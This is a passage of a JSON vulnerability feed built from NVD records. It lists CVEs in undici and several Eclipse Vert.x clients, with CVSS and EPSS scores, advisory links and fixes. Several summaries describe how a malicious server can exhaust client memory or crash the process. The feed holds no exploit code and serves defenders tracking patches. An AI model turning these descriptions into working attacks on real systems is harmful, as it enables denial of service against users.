fixes.","publishedAt":"2026-10-15T15:17:22.753Z","updatedAt":"2026-10-20T19:38:26.287Z","regions":["Global"],"vendor":"progress","product":"kendo ui","stacks":["Progress (MOVEit, Telerik, WS_FTP)","kendo ui"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108116","asOf":"2026-10-20T19:38:26.287Z"},"epss":{"probability":0.00263,"percentile":0.17983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108116","type":"primary","publishedAt":"2026-10-15T15:17:22.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.telerik.com/kendo-jquery-ui/documentation/knowledge-base/kb-security-pivotgrid-mdx-soap-injection-cve-2026-108116","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109855","cveId":"CVE-2026-109855","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 8.11.0 and 8.11.1, its experimental WebSocket client, which is enabled by default when HTTP/2 is allowed, mishandles a failed WebSocket handshake over HTTP/2: the request is already marked completed, so the abort becomes a no-op and the underlying HTTP/2 stream is left open with no error listener. When a malicious server then destroys the connection, the orphaned stream emits an unhandled error and the Node.js process exits. A remote, unauthenticated server can therefore crash any client that opens a WebSocket to it over HTTP/2, resulting in a denial of service. The issue is fixed in undici 8.11.2, and users should upgrade to 8.11.2 or later. As a workaround, set allowH2 to false to disable HTTP/2 for WebSocket connections, or avoid opening WebSocket connections to untrusted servers.","detail":"undici is an HTTP client library for Node.js. In versions 8.11.0 and 8.11.1, its experimental WebSocket client, which is enabled by default when HTTP/2 is allowed, mishandles a failed WebSocket handshake over HTTP/2: the request is already marked completed, so the abort becomes a no-op and the underlying HTTP/2 stream is left open with no error listener. When a malicious server then destroys the connection, the orphaned stream emits an unhandled error and the Node.js process exits. A remote, unauthenticated server can therefore crash any client that opens a WebSocket to it over HTTP/2, resulting in a denial of service. The issue is fixed in undici 8.11.2, and users should upgrade to 8.11.2 or later. As a workaround, set allowH2 to false to disable HTTP/2 for WebSocket connections, or avoid opening WebSocket connections to untrusted servers.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:16.573Z","updatedAt":"2026-10-19T20:46:49.400Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109855","asOf":"2026-10-19T20:46:49.400Z"},"epss":{"probability":0.00279,"percentile":0.20137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109855","type":"primary","publishedAt":"2026-10-15T09:17:16.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103224","cveId":"CVE-2026-103224","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle MySQL server can send a continuous stream of packets with the maximum payload length (0xFFFFFF), preventing the end-of-message condition from being reached, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the MySQL message decoder aggregates inbound multi-packet payloads into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle MySQL server can send a continuous stream of packets with the maximum payload length (0xFFFFFF), preventing the end-of-message condition from being reached, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.990Z","updatedAt":"2026-10-20T19:25:24.250Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["MySQL and MariaDB","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103224","asOf":"2026-10-20T19:25:24.250Z"},"epss":{"probability":0.00321,"percentile":0.24873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103224","type":"primary","publishedAt":"2026-10-15T09:17:15.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-75hv-9xj3-3cr8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103223","cveId":"CVE-2026-103223","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the PostgreSQL wire protocol without any maximum validation. A malicious, compromised, or man-in-the-middle PostgreSQL server can send a message header with the length field set to an extremely large value (up to Integer.MAX_VALUE), causing the decoder to accumulate subsequent TCP data into a composite buffer without bound, leading to unbounded memory allocation on the client and an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-pg-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the PostgreSQL message decoder reads the 4-byte message length field from the PostgreSQL wire protocol without any maximum validation. A malicious, compromised, or man-in-the-middle PostgreSQL server can send a message header with the length field set to an extremely large value (up to Integer.MAX_VALUE), causing the decoder to accumulate subsequent TCP data into a composite buffer without bound, leading to unbounded memory allocation on the client and an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-pg-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.853Z","updatedAt":"2026-10-20T19:25:52.840Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["PostgreSQL","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103223","asOf":"2026-10-20T19:25:52.840Z"},"epss":{"probability":0.00321,"percentile":0.24873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103223","type":"primary","publishedAt":"2026-10-15T09:17:15.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-hm2j-xp3c-jff2","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102477","cveId":"CVE-2026-102477","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes,...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes, however the maximum size applies to the received bytes. When applied to a compressed message, this only applies to the compressed size and not the actual size of the uncompressed content. This can be used to force a gRPC endpoint to allocate more bytes than the value defined by the configuration, making the endpoint vulnerable to compression bomb attacks.\n\n\n\nThe impacted component is io.vertx:vertx-gprc-server.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes, however the maximum size applies to the received bytes. When applied to a compressed message, this only applies to the compressed size and not the actual size of the uncompressed content. This can be used to force a gRPC endpoint to allocate more bytes than the value defined by the configuration, making the endpoint vulnerable to compression bomb attacks.\n\n\n\nThe impacted component is io.vertx:vertx-gprc-server.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.720Z","updatedAt":"2026-10-20T19:27:10.257Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102477","asOf":"2026-10-20T19:27:10.257Z"},"epss":{"probability":0.00318,"percentile":0.24534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102477","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102477","type":"primary","publishedAt":"2026-10-15T09:17:15.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-grpc/security/advisories/GHSA-4wvq-75mw-q6cg","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102477, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102466","cveId":"CVE-2026-102466","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column definitions based on a server-declared column count with no upper-bound validation. A malicious or compromised MySQL server, or an attacker with man-in-the-middle positioning, can send a crafted result set packet with an extremely large column count, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Netty event loop thread, causing a complete denial of service for all connections and verticles in the Vert.x application.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column definitions based on a server-declared column count with no upper-bound validation. A malicious or compromised MySQL server, or an attacker with man-in-the-middle positioning, can send a crafted result set packet with an extremely large column count, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Netty event loop thread, causing a complete denial of service for all connections and verticles in the Vert.x application.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.427Z","updatedAt":"2026-10-20T19:28:02.670Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["MySQL and MariaDB","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102466","asOf":"2026-10-20T19:28:02.670Z"},"epss":{"probability":0.0028,"percentile":0.20295,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102466&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102466","type":"primary","publishedAt":"2026-10-15T09:17:15.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-9jxp-x3fr-ffqh","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102466&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102466, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102464","cveId":"CVE-2026-102464","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH message received from the broker in an internal map (qos2inbound) while awaiting the corresponding PUBREL packet to complete the QoS 2 handshake. This map has no size limit; the maxInflightQueue option is enforced only on the outbound publish path and does not constrain inbound message retention.\n\n\n\nA malicious or compromised MQTT broker can exploit this by sending QoS 2 PUBLISH messages with distinct packet identifiers and withholding the PUBREL responses. Each incomplete handshake causes the client to retain the full publish message (topic, payload, and metadata) indefinitely, leading to unbounded memory growth in the Vert.x process. This can degrade the MQTT-consuming application or cause out-of-memory termination.\n\n\n\nThe impacted component is io.vertx:vertx-mqtt.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH message received from the broker in an internal map (qos2inbound) while awaiting the corresponding PUBREL packet to complete the QoS 2 handshake. This map has no size limit; the maxInflightQueue option is enforced only on the outbound publish path and does not constrain inbound message retention.\n\n\n\nA malicious or compromised MQTT broker can exploit this by sending QoS 2 PUBLISH messages with distinct packet identifiers and withholding the PUBREL responses. Each incomplete handshake causes the client to retain the full publish message (topic, payload, and metadata) indefinitely, leading to unbounded memory growth in the Vert.x process. This can degrade the MQTT-consuming application or cause out-of-memory termination.\n\n\n\nThe impacted component is io.vertx:vertx-mqtt.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.283Z","updatedAt":"2026-10-20T19:28:24.840Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102464","asOf":"2026-10-20T19:28:24.840Z"},"epss":{"probability":0.00306,"percentile":0.2313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102464","type":"primary","publishedAt":"2026-10-15T09:17:15.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vert-x3/vertx-mqtt/security/advisories/GHSA-46xj-5735-6qrp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102463","cveId":"CVE-2026-102463","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray)...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray) allocates a Java array sized by a server-declared 32-bit dimension count with no upper bound. A malicious or compromised PostgreSQL server, or an on-path attacker intercepting an unencrypted connection, can send a crafted DataRow message with an excessively large array dimension value, causing the client to attempt a multi-gigabyte heap allocation and crash with an OutOfMemoryError.\n\n\n\nThe impacted component is io.vertx:vertx-pg-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray) allocates a Java array sized by a server-declared 32-bit dimension count with no upper bound. A malicious or compromised PostgreSQL server, or an on-path attacker intercepting an unencrypted connection, can send a crafted DataRow message with an excessively large array dimension value, causing the client to attempt a multi-gigabyte heap allocation and crash with an OutOfMemoryError.\n\n\n\nThe impacted component is io.vertx:vertx-pg-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.143Z","updatedAt":"2026-10-20T19:28:54.520Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102463","asOf":"2026-10-20T19:28:54.520Z"},"epss":{"probability":0.00306,"percentile":0.2313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102463","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102463","type":"primary","publishedAt":"2026-10-15T09:17:15.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-xqmh-8fhj-48fp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102462","cveId":"CVE-2026-102462","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) 